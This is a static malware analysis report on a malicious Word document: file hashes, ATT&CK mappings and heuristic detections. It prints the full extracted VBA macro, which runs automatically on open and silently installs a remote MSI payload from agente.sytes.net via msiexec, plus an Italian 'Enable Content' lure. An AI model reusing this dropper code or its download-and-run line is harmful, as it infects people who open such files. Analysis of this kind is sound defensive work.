Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 dc92e1fb795c8c3b…

MALICIOUS

Office (OLE)

44.5 KB Created: 2018-02-23 18:25:00 Authoring application: Microsoft Office Word First seen: 2018-06-14
MD5: ef345f6d480782b004747ade4fa227fa SHA-1: c33c711bf85bc0c5afd073f8eb000a13ccc559e7 SHA-256: dc92e1fb795c8c3be88e04b54318965d2a2699861a7b1f9f23e414724def41c8
426 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic T1059.003 Windows Command Shell T1082 System Information Discovery T1204.002 Malicious File

The sample contains VBA macros that are designed to execute automatically upon opening. The Auto_Open macro uses WScript.Shell to run 'cmd /c ping 127.0.0.1' multiple times, likely as a distraction or to bypass initial detection. Crucially, it then executes 'msiexec /i http://agente.sytes.net/Agente.msi /q', which attempts to download and install a second-stage MSI payload from the specified URL. The document body contains a lure in Italian, 'Prego "Enable Content" per visualizzare.' ('Please "Enable Content" to view.'), instructing the user to enable macros.

Heuristics 14

  • ClamAV: Doc.Downloader.Generic-6698421-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6698421-0
  • VBA macros detected medium 8 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Dim objShell
    Set objShell = VBA.CreateObject("WScript.shell")
    objShell.Run "cmd /c ping 127.0.0.1", 0, True
  • LOLBin reference in VBA critical OLE_VBA_LOLBIN
    LOLBin reference in VBA
    Matched line in script
    objShell.Run "msiexec" & " /i ht" & "tp" & "://agente.sytes.net" & "/Agente.m" & "si /q", 0, True
    objShell.Run "cmd /c ping 127.0.0.1", 0, True
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Dim objShell
    Set objShell = VBA.CreateObject("WScript.shell")
    objShell.Run "cmd /c ping 127.0.0.1", 0, True
  • cmd.exe reference in VBA high OLE_VBA_CMD
    cmd.exe reference in VBA
    Matched line in script
    Set objShell = VBA.CreateObject("WScript.shell")
    objShell.Run "cmd /c ping 127.0.0.1", 0, True
    objShell.Run "cmd /c ping 127.0.0.1", 0, True
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Sub
    Sub AutoOpen()
    'oainauonsuahuhasohJIJKMALKNA
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    'oainauonsuahuhasohJIJKMALKNA
    Sub Workbook_Open()
    Dim objShell
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    'kmkmlksksms;k
    Sub Auto_Open()
    'oainauonsuahuhasohJIJKMALKNA
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ocsp.globaltrustfinder.com0�� In document text (OLE body)
    • http://www.globaltrustfinder.com/crls/AscertiaPublicCA1.crl0In document text (OLE body)
    • http://www.ascertia.com/OnlineCA/crls/AscertiaRootCA2/AscertiaRootCA2.crl0=In document text (OLE body)
    • http://ocsp.globaltrustfinder.com0�In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2320 bytes
SHA-256: 0eb813ece76b520238c7617cccd002542400b2a2d09a54e3d408796590cb1803
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
'kmkmlksksms;k
Sub Auto_Open()
'oainauonsuahuhasohJIJKMALKNA
'oainauonsuahuhasohJIJKMALKNA
'oainauonsuahuhasohJIJKMALKNA
'oainauonsuahuhasohJIJKMALKNA
Dim objShell
Set objShell = VBA.CreateObject("WScript.shell")
objShell.Run "cmd /c ping 127.0.0.1", 0, True
objShell.Run "cmd /c ping 127.0.0.1", 0, True
objShell.Run "cmd /c ping 127.0.0.1", 0, True
objShell.Run "cmd /c ping 127.0.0.1", 0, True
objShell.Run "cmd /c ping 127.0.0.1", 0, True

'oainauonsuahuhasohJIJKMALKNA
'oainauonsuahuhasohJIJKMALKNA
'oainauonsuahuhasohJIJKMALKNA
'oainauonsuahuhasohJIJKMALKNA
'oainauonsuahuhasohJIJKMALKNA
'oainauonsuahuhasohJIJKMALKNA

objShell.Run "msiexec" & " /i ht" & "tp" & "://agente.sytes.net" & "/Agente.m" & "si /q", 0, True
objShell.Run "cmd /c ping 127.0.0.1", 0, True
Set objShell = VBA.CreateObject("WScript.shell")
Set objShell1 = VBA.CreateObject("WScript.shell")
Dim appdata
appdata = objShell1.ExpandEnvironmentStrings("%APPDATA%")
'objShell.run Chr(34) & appdata & "\RSVP.png" & Chr(34)
Set objShell = Nothing
Set objShell1 = Nothing
'oainauonsuahuhasohJIJKMALKNA
'oainauonsuahuhasohJIJKMALKNA
'oainauonsuahuhasohJIJKMALKNA
'oainauonsuahuhasohJIJKMALKNA
'oainauonsuahuhasohJIJKMALKNA
'oainauonsuahuhasohJIJKMALKNA
'oainauonsuahuhasohJIJKMALKNA
'oainauonsuahuhasohJIJKMALKNA
End Sub
Sub AutoOpen()
'oainauonsuahuhasohJIJKMALKNA
'oainauonsuahuhasohJIJKMALKNA
Dim objShell
Set objShell = VBA.CreateObject("WScript.shell")
objShell.Run "cmd /c ping 127.0.0.1", 0, True
objShell.Run "cmd /c ping 127.0.0.1", 0, True
'oainauonsuahuhasohJIJKMALKNA
Auto_Open
'oainauonsuahuhasohJIJKMALKNA
'oainauonsuahuhasohJIJKMALKNA
'oainauonsuahuhasohJIJKMALKNA
End Sub
'oainauonsuahuhasohJIJKMALKNA
Sub Workbook_Open()
Dim objShell
Set objShell = VBA.CreateObject("WScript.shell")
objShell.Run "cmd /c ping 127.0.0.1", 0, True
objShell.Run "cmd /c ping 127.0.0.1", 0, True
'oainauonsuahuhasohJIJKMALKNA
Auto_Open
'oainauonsuahuhasohJIJKMALKNA
End Sub